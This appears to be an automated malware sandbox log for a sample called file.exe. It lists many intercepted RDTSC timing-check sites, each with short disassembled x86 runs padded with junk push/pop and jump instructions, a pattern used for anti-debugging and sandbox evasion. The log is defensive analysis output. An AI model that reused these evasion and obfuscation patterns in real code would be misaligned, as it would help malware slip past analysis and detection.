Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF2D7 second address: FEF2DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CEB5 second address: F9CF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push edi 0x00000009 call 00007F55D8D59BA5h 0x0000000e mov dword ptr [ebp+122D2E42h], eax 0x00000014 pop ecx 0x00000015 pop edi 0x00000016 mov dx, 6BD1h 0x0000001a mov ebx, dword ptr [ebp+1247DE4Bh] 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F55D8D59B98h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a call 00007F55D8D59B9Dh 0x0000003f movzx edx, cx 0x00000042 pop ecx 0x00000043 add eax, ebx 0x00000045 cld 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007F55D8D59B9Eh 0x0000004d pushad 0x0000004e jng 00007F55D8D59B96h 0x00000054 je 00007F55D8D59B96h 0x0000005a popad 0x0000005b popad 0x0000005c mov dword ptr [esp], eax 0x0000005f jnc 00007F55D8D59B9Ch 0x00000065 push 00000004h 0x00000067 sub dword ptr [ebp+122D25BFh], eax 0x0000006d push eax 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CF51 second address: F9CF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF48B second address: FEF4A3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F55D8D59B9Ah 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF4A3 second address: FEF4CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E603h 0x00000007 jmp 00007F55D8C2E603h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2A4F second address: FF2A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2A55 second address: FF2A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F55D8C2E5FDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2BFF second address: FF2C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C03 second address: FF2C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C0D second address: FF2C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C11 second address: FF2C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C17 second address: FF2C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3056 second address: FF305B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF305B second address: FF3067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F55D8D59B96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3067 second address: FF307A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F55D8C2E5F8h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF307A second address: FF3080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7367 second address: FF736D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF736D second address: FF7375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF770E second address: FF7712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7712 second address: FF772D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F55D8D59BA2h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF772D second address: FF7735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7735 second address: FF7755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA3h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F55D8D59B96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE13E second address: FFE183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F55D8C2E5F6h 0x0000000a jmp 00007F55D8C2E600h 0x0000000f popad 0x00000010 jo 00007F55D8C2E60Dh 0x00000016 jmp 00007F55D8C2E605h 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 ja 00007F55D8C2E5F6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE183 second address: FFE19E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE641 second address: FFE65D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E5FCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F55D8C2E5FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE65D second address: FFE661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF15B second address: FFF188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E5FAh 0x00000007 push esi 0x00000008 jmp 00007F55D8C2E5FBh 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007F55D8C2E630h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007F55D8C2E5F6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF188 second address: FFF18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF18C second address: FFF1B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E5FAh 0x00000007 jmp 00007F55D8C2E606h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF465 second address: FFF469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF469 second address: FFF4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F55D8C2E60Ah 0x0000000c jmp 00007F55D8C2E604h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F55D8C2E600h 0x00000018 jmp 00007F55D8C2E5FEh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF781 second address: FFF787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF787 second address: FFF78D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001664 second address: 1001669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004659 second address: 1004663 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F55D8C2E5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004663 second address: 100466A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10047EA second address: 1004804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E600h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004804 second address: 100480A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100480A second address: 100482B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F55D8C2E5F6h 0x00000008 jmp 00007F55D8C2E607h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100482B second address: 1004843 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F55D8D59B9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F55D8D59B96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004843 second address: 1004847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004B86 second address: 1004BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004BA3 second address: 1004BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004D05 second address: 1004D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004D0B second address: 1004D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E601h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004D21 second address: 1004D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F55D8D59B9Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004D36 second address: 1004D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100506C second address: 1005070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005199 second address: 10051A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10052E8 second address: 10052F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10052F1 second address: 10052F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10052F6 second address: 10052FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101284B second address: 101284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101284F second address: 1012860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F55D8D59B98h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10112A1 second address: 10112A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10112A5 second address: 10112CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA7h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F55D8D59B96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10115AD second address: 10115B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10115B3 second address: 10115BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F55D8D59B96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101186B second address: 1011871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011871 second address: 1011880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F55D8D59B9Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011880 second address: 101189B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F55D8C2E605h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101189B second address: 10118AB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10118AB second address: 10118C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F55D8C2E602h 0x0000000d je 00007F55D8C2E5F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011F66 second address: 1011F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10174A7 second address: 10174B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025AC2 second address: 1025ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F55D8D59BA0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025ADB second address: 1025AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10255AE second address: 10255BE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10255BE second address: 10255DD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F55D8C2E611h 0x00000008 jmp 00007F55D8C2E605h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10255DD second address: 10255E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10255E5 second address: 102560A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F55D8C2E607h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102560A second address: 1025610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1025610 second address: 1025615 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102574A second address: 102574E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102574E second address: 102578A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8C2E605h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F55D8C2E5FAh 0x00000012 jmp 00007F55D8C2E605h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102578A second address: 102578E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102578E second address: 10257AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F55D8C2E5FAh 0x0000000e jmp 00007F55D8C2E5FCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10321C8 second address: 10321CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10321CC second address: 10321E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F55D8C2E5FAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A95B second address: 103A965 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103CBCF second address: 103CBE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F55D8C2E604h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EB5F second address: 103EB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EB63 second address: 103EB67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EB67 second address: 103EB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EB71 second address: 103EB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F55D8C2E5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046D69 second address: 1046D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F55D8D59B96h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jns 00007F55D8D59B96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104573D second address: 1045741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045741 second address: 104575F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045B45 second address: 1045B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F55D8C2E604h 0x00000009 jns 00007F55D8C2E5F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045B63 second address: 1045B6C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045F9B second address: 1045FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F55D8C2E5F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F55D8C2E5FCh 0x00000012 jmp 00007F55D8C2E608h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104963F second address: 1049649 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049649 second address: 104964F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104964F second address: 1049655 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104979F second address: 10497A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10497A5 second address: 10497C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F55D8D59BA5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10497C0 second address: 10497CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F55D8C2E5F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10497CC second address: 10497D9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050999 second address: 105099D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105099D second address: 10509A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067D98 second address: 1067DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E604h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067DB0 second address: 1067DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
